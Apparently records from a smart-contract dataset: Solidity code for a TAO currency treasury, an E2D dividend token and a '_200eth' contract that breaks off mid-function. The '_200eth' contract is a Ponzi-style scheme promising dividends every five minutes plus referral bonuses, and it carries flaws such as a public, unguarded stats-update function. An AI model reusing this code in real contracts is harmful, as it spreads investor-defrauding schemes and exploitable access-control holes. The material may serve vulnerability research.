function _mint(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
}
contract TAOCurrencyTreasury is TheAO, ITAOCurrencyTreasury {
using SafeMath for uint256;
uint256 public totalDenominations;
uint256 public totalDenominationExchanges;
address public nameFactoryAddress;
INameFactory internal _nameFactory;
struct Denomination {
bytes8 name;
address denominationAddress;
}
struct DenominationExchange {
bytes32 exchangeId;
address nameId;
address fromDenominationAddress;
address toDenominationAddress;
uint256 amount;
}
mapping (uint256 => Denomination) internal denominations;
mapping (bytes8 => uint256) internal denominationIndex;
mapping (uint256 => DenominationExchange) internal denominationExchanges;
mapping (bytes32 => uint256) internal denominationExchangeIdLookup;
event ExchangeDenomination(address indexed nameId, bytes32 indexed exchangeId, uint256 amount, address fromDenominationAddress, string fromDenominationSymbol, address toDenominationAddress, string toDenominationSymbol);
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public {
setNameFactoryAddress(_nameFactoryAddress);
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier isValidDenomination(bytes8 denominationName) {
require (this.isDenominationExist(denominationName));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function setNameFactoryAddress(address _nameFactoryAddress) public onlyTheAO {
require (_nameFactoryAddress != address(0));
nameFactoryAddress = _nameFactoryAddress;
_nameFactory = INameFactory(_nameFactoryAddress);
}
function addDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) {
require (denominationName.length > 0);
require (denominationName[0] != 0);
require (denominationAddress != address(0));
require (denominationIndex[denominationName] == 0);
totalDenominations++;
if (totalDenominations > 1) {
TAOCurrency _lastDenominationTAOCurrency = TAOCurrency(denominations[totalDenominations - 1].denominationAddress);
TAOCurrency _newDenominationTAOCurrency = TAOCurrency(denominationAddress);
require (_newDenominationTAOCurrency.powerOfTen() > _lastDenominationTAOCurrency.powerOfTen());
}
denominations[totalDenominations].name = denominationName;
denominations[totalDenominations].denominationAddress = denominationAddress;
denominationIndex[denominationName] = totalDenominations;
return true;
}
function updateDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO isValidDenomination(denominationName) returns (bool) {
require (denominationAddress != address(0));
uint256 _denominationNameIndex = denominationIndex[denominationName];
TAOCurrency _newDenominationTAOCurrency = TAOCurrency(denominationAddress);
if (_denominationNameIndex > 1) {
TAOCurrency _prevDenominationTAOCurrency = TAOCurrency(denominations[_denominationNameIndex - 1].denominationAddress);
require (_newDenominationTAOCurrency.powerOfTen() > _prevDenominationTAOCurrency.powerOfTen());
}
if (_denominationNameIndex < totalDenominations) {
TAOCurrency _lastDenominationTAOCurrency = TAOCurrency(denominations[totalDenominations].denominationAddress);
require (_newDenominationTAOCurrency.powerOfTen() < _lastDenominationTAOCurrency.powerOfTen());
}
denominations[denominationIndex[denominationName]].denominationAddress = denominationAddress;
return true;
}
function isDenominationExist(bytes8 denominationName) external view returns (bool) {
return (denominationName.length > 0 &&
denominationName[0] != 0 &&
denominationIndex[denominationName] > 0 &&
denominations[denominationIndex[denominationName]].denominationAddress != address(0)
);
}
function getDenominationByName(bytes8 denominationName) public isValidDenomination(denominationName) view returns (bytes8, address, string memory, string memory, uint8, uint256) {
TAOCurrency _tc = TAOCurrency(denominations[denominationIndex[denominationName]].denominationAddress);
return (
denominations[denominationIndex[denominationName]].name,
denominations[denominationIndex[denominationName]].denominationAddress,
_tc.name(),
_tc.symbol(),
_tc.decimals(),
_tc.powerOfTen()
);
}
function getDenominationByIndex(uint256 index) public view returns (bytes8, address, string memory, string memory, uint8, uint256) {
require (index > 0 && index <= totalDenominations);
require (denominations[index].denominationAddress != address(0));
TAOCurrency _tc = TAOCurrency(denominations[index].denominationAddress);
return (
denominations[index].name,
denominations[index].denominationAddress,
_tc.name(),
_tc.symbol(),
_tc.decimals(),
_tc.powerOfTen()
);
}
function getBaseDenomination() public view returns (bytes8, address, string memory, string memory, uint8, uint256) {
require (totalDenominations > 0);
return getDenominationByIndex(1);
}
function toBase(uint256 integerAmount, uint256 fractionAmount, bytes8 denominationName) external view returns (uint256) {
uint256 _fractionAmount = fractionAmount;
if (this.isDenominationExist(denominationName) && (integerAmount > 0 || _fractionAmount > 0)) {
Denomination memory _denomination = denominations[denominationIndex[denominationName]];
TAOCurrency _denominationTAOCurrency = TAOCurrency(_denomination.denominationAddress);
uint8 fractionNumDigits = AOLibrary.numDigits(_fractionAmount);
require (fractionNumDigits <= _denominationTAOCurrency.decimals());
uint256 baseInteger = integerAmount.mul(10 ** _denominationTAOCurrency.powerOfTen());
if (_denominationTAOCurrency.decimals() == 0) {
_fractionAmount = 0;
}
return baseInteger.add(_fractionAmount);
} else {
return 0;
}
}
function fromBase(uint256 integerAmount, bytes8 denominationName) public view returns (uint256, uint256) {
if (this.isDenominationExist(denominationName)) {
Denomination memory _denomination = denominations[denominationIndex[denominationName]];
TAOCurrency _denominationTAOCurrency = TAOCurrency(_denomination.denominationAddress);
uint256 denominationInteger = integerAmount.div(10 ** _denominationTAOCurrency.powerOfTen());
uint256 denominationFraction = integerAmount.sub(denominationInteger.mul(10 ** _denominationTAOCurrency.powerOfTen()));
return (denominationInteger, denominationFraction);
} else {
return (0, 0);
}
}
function exchangeDenomination(uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName) public isValidDenomination(fromDenominationName) isValidDenomination(toDenominationName) {
address _nameId = _nameFactory.ethAddressToNameId(msg.sender);
require (_nameId != address(0));
require (amount > 0);
Denomination memory _fromDenomination = denominations[denominationIndex[fromDenominationName]];
Denomination memory _toDenomination = denominations[denominationIndex[toDenominationName]];
TAOCurrency _fromDenominationCurrency = TAOCurrency(_fromDenomination.denominationAddress);
TAOCurrency _toDenominationCurrency = TAOCurrency(_toDenomination.denominationAddress);
require (_fromDenominationCurrency.whitelistBurnFrom(_nameId, amount));
require (_toDenominationCurrency.mint(_nameId, amount));
totalDenominationExchanges++;
bytes32 _exchangeId = keccak256(abi.encodePacked(this, _nameId, totalDenominationExchanges));
denominationExchangeIdLookup[_exchangeId] = totalDenominationExchanges;
DenominationExchange storage _denominationExchange = denominationExchanges[totalDenominationExchanges];
_denominationExchange.exchangeId = _exchangeId;
_denominationExchange.nameId = _nameId;
_denominationExchange.fromDenominationAddress = _fromDenomination.denominationAddress;
_denominationExchange.toDenominationAddress = _toDenomination.denominationAddress;
_denominationExchange.amount = amount;
emit ExchangeDenomination(_nameId, _exchangeId, amount, _fromDenomination.denominationAddress, TAOCurrency(_fromDenomination.denominationAddress).symbol(), _toDenomination.denominationAddress, TAOCurrency(_toDenomination.denominationAddress).symbol());
}
function getDenominationExchangeById(bytes32 _exchangeId) public view returns (address, address, address, string memory, string memory, uint256) {
require (denominationExchangeIdLookup[_exchangeId] > 0);
DenominationExchange memory _denominationExchange = denominationExchanges[denominationExchangeIdLookup[_exchangeId]];
return (
_denominationExchange.nameId,
_denominationExchange.fromDenominationAddress,
_denominationExchange.toDenominationAddress,
TAOCurrency(_denominationExchange.fromDenominationAddress).symbol(),
TAOCurrency(_denominationExchange.toDenominationAddress).symbol(),
_denominationExchange.amount
);
}
function toHighestDenomination(uint256 amount) public view returns (bytes8, address, uint256, uint256, string memory, string memory, uint8, uint256) {
uint256 integerAmount;
uint256 fractionAmount;
uint256 index;
for (uint256 i=totalDenominations; i>0; i--) {
Denomination memory _denomination = denominations[i];
(integerAmount, fractionAmount) = fromBase(amount, _denomination.name);
if (integerAmount > 0) {
index = i;
break;
}
}
require (index > 0 && index <= totalDenominations);
require (integerAmount > 0 || fractionAmount > 0);
require (denominations[index].denominationAddress != address(0));
TAOCurrency _tc = TAOCurrency(denominations[index].denominationAddress);
return (
denominations[index].name,
denominations[index].denominationAddress,
integerAmount,
fractionAmount,
_tc.name(),
_tc.symbol(),
_tc.decimals(),
_tc.powerOfTen()
);
}
}
contract PathosTreasury is TAOCurrencyTreasury {
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress)
TAOCurrencyTreasury(_nameFactoryAddress, _nameTAOPositionAddress) public {}
} | 1 | 2,841 |
pragma solidity 0.4.25;
contract E2D {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends() > 0);
_;
}
modifier onlyOwner(){
require(ownerAddr == msg.sender || OWNER_ADDRESS_2 == msg.sender, "only owner can perform this!");
_;
}
modifier onlyInitialInvestors(){
if(initialState) {
require(initialInvestors[msg.sender] == true, "only allowed investor can invest!");
_;
} else {
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event onPayDividends(
uint256 dividends,
uint256 profitPerShare
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "E2D";
string public symbol = "E2D";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
address constant internal OWNER_ADDRESS = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
address constant internal OWNER_ADDRESS_2 = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
uint256 constant public INVESTOR_QUOTA = 0.01 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
uint256 internal totalInvestment_ = 0;
uint256 internal totalGameDividends_ = 0;
address public ownerAddr;
mapping(address => bool) public initialInvestors;
bool public initialState = true;
constructor() public {
ownerAddr = OWNER_ADDRESS;
initialInvestors[OWNER_ADDRESS] = true;
initialInvestors[OWNER_ADDRESS_2] = true;
}
function buy() public payable returns(uint256) {
purchaseTokens(msg.value);
}
function() public payable {
purchaseTokens(msg.value);
}
function reinvest() public onlyStronghands() {
uint256 _dividends = myDividends();
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
uint256 _tokens = purchaseTokens(_dividends);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() public onlyStronghands() {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends();
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) public onlyBagholders() {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress], "token to sell should be less then balance!");
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens) public onlyBagholders() returns(bool) {
address _customerAddress = msg.sender;
require(!initialState && (_amountOfTokens <= tokenBalanceLedger_[_customerAddress]), "initial state or token > balance!");
if(myDividends() > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function payDividends() external payable {
uint256 _dividends = msg.value;
require(_dividends > 0, "dividends should be greater then 0!");
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
totalGameDividends_ = SafeMath.add(totalGameDividends_, _dividends);
emit onPayDividends(_dividends, profitPerShare_);
}
}
function disableInitialStage() public onlyOwner() {
require(initialState == true, "initial stage is already false!");
initialState = false;
}
function setInitialInvestors(address _addr, bool _status) public onlyOwner() {
initialInvestors[_addr] = _status;
}
function setName(string _name) public onlyOwner() {
name = _name;
}
function setSymbol(string _symbol) public onlyOwner() {
symbol = _symbol;
}
function totalEthereumBalance() public view returns(uint) {
return address(this).balance;
}
function totalSupply() public view returns(uint256) {
return tokenSupply_;
}
function totalInvestment() public view returns(uint256) {
return totalInvestment_;
}
function totalGameDividends() public view returns(uint256) {
return totalGameDividends_;
}
function myTokens() public view returns(uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends() public view returns(uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns(uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns(uint256) {
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns(uint256) {
if(tokenSupply_ == 0){
return 0;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns(uint256) {
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) {
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) {
require(_tokensToSell <= tokenSupply_, "token to sell should be less then total supply!");
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum) internal onlyInitialInvestors() returns(uint256) {
address _customerAddress = msg.sender;
uint256 _dividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require((_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_)), "token should be > 0!");
if(tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
totalInvestment_ = SafeMath.add(totalInvestment_, _incomingEthereum);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
if(address(this).balance >= INVESTOR_QUOTA) {
initialState = false;
}
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Constants {
address internal constant OWNER_WALLET_ADDR = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
address internal constant COMPANY_WALLET_ADDR = address(0xEE50069c177721fdB06755427Fd19853681E86a2);
address internal constant LAST10_WALLET_ADDR = address(0xe7d8Bf9B85EAE450f2153C66cdFDfD31D56750d0);
address internal constant FEE_WALLET_ADDR = address(0x6Ba3B9E117F58490eC0e68cf3e48d606C2f2475b);
uint internal constant LAST_10_MIN_INVESTMENT = 2 ether;
}
contract InvestorsStorage {
using SafeMath for uint;
using Percent for Percent.percent;
struct investor {
uint keyIndex;
uint value;
uint paymentTime;
uint refs;
uint refBonus;
uint pendingPayout;
uint pendingPayoutTime;
}
struct recordStats {
uint investors;
uint invested;
}
struct itmap {
mapping(uint => recordStats) stats;
mapping(address => investor) data;
address[] keys;
}
itmap private s;
address private owner;
Percent.percent private _percent = Percent.percent(1,100);
event LogOwnerForInvestorContract(address addr);
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
emit LogOwnerForInvestorContract(msg.sender);
s.keys.length++;
}
function getDividendsPercent(address addr) public view returns(uint num, uint den) {
uint amount = s.data[addr].value.add(s.data[addr].refBonus);
if(amount <= 10*10**18) {
return (15, 1000);
} else if(amount <= 50*10**18) {
return (16, 1000);
} else if(amount <= 100*10**18) {
return (17, 1000);
} else if(amount <= 300*10**18) {
return (185, 10000);
} else {
return (2, 100);
}
}
function insert(address addr, uint value) public onlyOwner returns (bool) {
uint keyIndex = s.data[addr].keyIndex;
if (keyIndex != 0) return false;
s.data[addr].value = value;
keyIndex = s.keys.length++;
s.data[addr].keyIndex = keyIndex;
s.keys[keyIndex] = addr;
return true;
}
function investorFullInfo(address addr) public view returns(uint, uint, uint, uint, uint, uint, uint) {
return (
s.data[addr].keyIndex,
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refs,
s.data[addr].refBonus,
s.data[addr].pendingPayout,
s.data[addr].pendingPayoutTime
);
}
function investorBaseInfo(address addr) public view returns(uint, uint, uint, uint, uint, uint) {
return (
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refs,
s.data[addr].refBonus,
s.data[addr].pendingPayout,
s.data[addr].pendingPayoutTime
);
}
function investorShortInfo(address addr) public view returns(uint, uint) {
return (
s.data[addr].value,
s.data[addr].refBonus
);
}
function addRefBonus(address addr, uint refBonus, uint dividendsPeriod) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) {
assert(insert(addr, 0));
}
uint time;
if (s.data[addr].pendingPayoutTime == 0) {
time = s.data[addr].paymentTime;
} else {
time = s.data[addr].pendingPayoutTime;
}
if(time != 0) {
uint value = 0;
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0) {
value = _getValueForAddr(addr, daysAfter);
}
s.data[addr].refBonus += refBonus;
uint256 hoursAfter = now.sub(time).mod(dividendsPeriod);
if(hoursAfter > 0) {
uint dailyDividends = _getValueForAddr(addr, 1);
uint hourlyDividends = dailyDividends.div(dividendsPeriod).mul(hoursAfter);
value = value.add(hourlyDividends);
}
if (s.data[addr].pendingPayoutTime == 0) {
s.data[addr].pendingPayout = value;
} else {
s.data[addr].pendingPayout = s.data[addr].pendingPayout.add(value);
}
} else {
s.data[addr].refBonus += refBonus;
s.data[addr].refs++;
}
assert(setPendingPayoutTime(addr, now));
return true;
}
function _getValueForAddr(address addr, uint daysAfter) internal returns (uint value) {
(uint num, uint den) = getDividendsPercent(addr);
_percent = Percent.percent(num, den);
value = _percent.mul(s.data[addr].value.add(s.data[addr].refBonus)) * daysAfter;
}
function addRefBonusWithRefs(address addr, uint refBonus, uint dividendsPeriod) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) {
assert(insert(addr, 0));
}
uint time;
if (s.data[addr].pendingPayoutTime == 0) {
time = s.data[addr].paymentTime;
} else {
time = s.data[addr].pendingPayoutTime;
}
if(time != 0) {
uint value = 0;
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0) {
value = _getValueForAddr(addr, daysAfter);
}
s.data[addr].refBonus += refBonus;
s.data[addr].refs++;
uint256 hoursAfter = now.sub(time).mod(dividendsPeriod);
if(hoursAfter > 0) {
uint dailyDividends = _getValueForAddr(addr, 1);
uint hourlyDividends = dailyDividends.div(dividendsPeriod).mul(hoursAfter);
value = value.add(hourlyDividends);
}
if (s.data[addr].pendingPayoutTime == 0) {
s.data[addr].pendingPayout = value;
} else {
s.data[addr].pendingPayout = s.data[addr].pendingPayout.add(value);
}
} else {
s.data[addr].refBonus += refBonus;
s.data[addr].refs++;
}
assert(setPendingPayoutTime(addr, now));
return true;
}
function addValue(address addr, uint value) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].value += value;
return true;
}
function updateStats(uint dt, uint invested, uint investors) public {
s.stats[dt].invested += invested;
s.stats[dt].investors += investors;
}
function stats(uint dt) public view returns (uint invested, uint investors) {
return (
s.stats[dt].invested,
s.stats[dt].investors
);
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].paymentTime = paymentTime;
return true;
}
function setPendingPayoutTime(address addr, uint payoutTime) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].pendingPayoutTime = payoutTime;
return true;
}
function setPendingPayout(address addr, uint payout) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].pendingPayout = payout;
return true;
}
function contains(address addr) public view returns (bool) {
return s.data[addr].keyIndex > 0;
}
function size() public view returns (uint) {
return s.keys.length;
}
function iterStart() public pure returns (uint) {
return 1;
}
}
contract DT {
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint private constant DAY_IN_SECONDS = 86400;
uint private constant YEAR_IN_SECONDS = 31536000;
uint private constant LEAP_YEAR_IN_SECONDS = 31622400;
uint16 private constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) internal pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
} else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
} else if (isLeapYear(year)) {
return 29;
} else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
}
function getYear(uint timestamp) internal pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
}
contract _200eth is DT, Constants {
using Percent for Percent.percent;
using SafeMath for uint;
using Zero for *;
using ToAddress for *;
using Convert for *;
InvestorsStorage private m_investors = new InvestorsStorage();
mapping(address => address) public m_referrals;
mapping(address => bool) public m_isInvestor;
bool public m_nextWave = false;
struct Last10Struct {
uint value;
uint index;
}
address[] private m_last10InvestorAddr;
mapping(address => Last10Struct) private m_last10Investor;
address public ownerAddr;
uint public totalInvestments = 0;
uint public totalInvested = 0;
uint public constant minInvesment = 10 finney;
uint public constant dividendsPeriod = 5 minutes;
uint private gasFee = 0;
uint private last10 = 0;
E2D public e2d;
Percent.percent private m_companyPercent = Percent.percent(10, 100);
Percent.percent private m_refPercent1 = Percent.percent(3, 100);
Percent.percent private m_refPercent2 = Percent.percent(2, 100);
Percent.percent private m_fee = Percent.percent(1, 100);
Percent.percent private m_coinHolders = Percent.percent(5, 100);
Percent.percent private m_last10 = Percent.percent(4, 100);
Percent.percent private _percent = Percent.percent(1,100);
event LogNewInvestor(address indexed addr, uint when, uint value);
event LogNewInvesment(address indexed addr, uint when, uint value);
event LogNewReferral(address indexed addr, uint when, uint value);
event LogPayDividends(address indexed addr, uint when, uint value);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogPayLast10(address addr, uint percent, uint amount);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance.sub(last10).sub(gasFee));
}
constructor(address _tokenAddress) public {
ownerAddr = OWNER_WALLET_ADDR;
e2d = E2D(_tokenAddress);
setup();
}
function isContract(address _addr) private view returns (bool isWalletAddress){
uint32 size;
assembly{
size := extcodesize(_addr)
}
return (size > 0);
}
function setup() internal {
m_investors = new InvestorsStorage();
totalInvestments = 0;
totalInvested = 0;
gasFee = 0;
last10 = 0;
for (uint i = 0; i < m_last10InvestorAddr.length; i++) {
delete m_last10Investor[m_last10InvestorAddr[i]];
}
m_last10InvestorAddr.length = 1;
}
function startNewWave() public {
require(m_nextWave == true, "Game is not stopped yet.");
require(msg.sender == ownerAddr, "Only Owner can call this function");
m_nextWave = false;
}
function() public payable {
if (msg.value == 0) {
getMyDividends();
return;
}
address refAddr = msg.data.toAddr();
doInvest(refAddr);
}
function investorsNumber() public view returns(uint) {
return m_investors.size() - 1;
}
function balanceETH() public view returns(uint) {
return address(this).balance.sub(last10).sub(gasFee);
}
function dividendsPercent() public view returns(uint numerator, uint denominator) {
(uint num, uint den) = m_investors.getDividendsPercent(msg.sender);
